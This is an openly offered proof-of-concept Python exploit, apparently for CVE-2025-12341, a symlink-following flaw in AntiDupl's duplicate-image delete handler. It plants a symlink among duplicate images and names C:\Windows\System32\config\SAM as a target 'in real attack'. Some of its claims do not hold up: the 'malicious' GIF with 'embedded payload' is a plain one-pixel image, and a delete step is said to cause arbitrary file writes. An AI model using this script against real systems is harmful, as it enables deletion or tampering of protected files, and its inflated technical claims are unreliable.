CVE-2025-12341: AntiDupl Delete Duplicate Image Handler 链接跟随漏洞

#!/usr/bin/env python3 """ CVE-2025-12341 PoC - AntiDupl Link Following Vulnerability This PoC demonstrates the symbolic link following vulnerability in AntiDupl's Delete Duplicate Image Handler component. Note: This is for educational and authorized security testing purposes only. """ import os import sys import shutil import tempfile from pathlib import Path def create_malicious_symlink(target_path, link_path): """ Create a symbolic link that points to a target path. On Windows, this requires administrator privileges or SeCreateSymbolicLinkPrivilege. """ try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target_path, link_path) print(f"[+] Created symlink: {link_path} -> {target_path}") return True except OSError as e: print(f"[-] Failed to create symlink: {e}") return False def setup_evil_image(image_path): """ Create a malicious image file that will be processed by AntiDupl. This image contains embedded payload data. """ evil_content = b'GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x4a\x01\x00\x3b' try: with open(image_path, 'wb') as f: f.write(evil_content) print(f"[+] Created malicious image: {image_path}") return True except Exception as e: print(f"[-] Failed to create image: {e}") return False def exploit_antidupl_link_follow(workspace_dir): """ Main exploit function demonstrating the link following vulnerability. Attack scenario: 1. Attacker creates a malicious image file 2. Creates a symlink from image location to a sensitive target 3. When AntiDupl processes and 'deletes' the image, it follows the symlink 4. This can lead to arbitrary file write/overwrite """ print("[*] Setting up CVE-2025-12341 exploitation environment...") # Target paths for demonstration (use appropriate targets in real attack) target_file = os.path.join(workspace_dir, 'target_evil_file.txt') symlink_dir = os.path.join(workspace_dir, 'duplicate_images') # Create directories os.makedirs(symlink_dir, exist_ok=True) # Create malicious image image_path = os.path.join(symlink_dir, 'malicious_image.gif') setup_evil_image(image_path) # Create symlink to target location # In real attack, target would be something like C:\Windows\System32\config\SAM symlink_path = os.path.join(symlink_dir, 'duplicate_ref.gif') create_malicious_symlink(target_file, symlink_path) print("\n[*] Exploitation setup complete.") print(f"[*] When AntiDupl's Delete Duplicate Image Handler processes:") print(f"[*] - It will attempt to delete: {symlink_path}") print(f"[*] - Due to symlink following, it will operate on: {target_file}") print(f"[*] This can lead to unauthorized file modification/creation.") print("\n[!] Note: Actual exploitation requires AntiDupl to be running and") print("[!] processing the crafted duplicate image set.") return True if __name__ == '__main__': print("=" * 60) print("CVE-2025-12341 - AntiDupl Link Following Vulnerability PoC") print("=" * 60) workspace = tempfile.mkdtemp(prefix='cve202512341_') print(f"[*] Working directory: {workspace}\n") try: exploit_antidupl_link_follow(workspace) finally: # Cleanup shutil.rmtree(workspace, ignore_errors=True) print(f"\n[*] Cleaned up: {workspace}")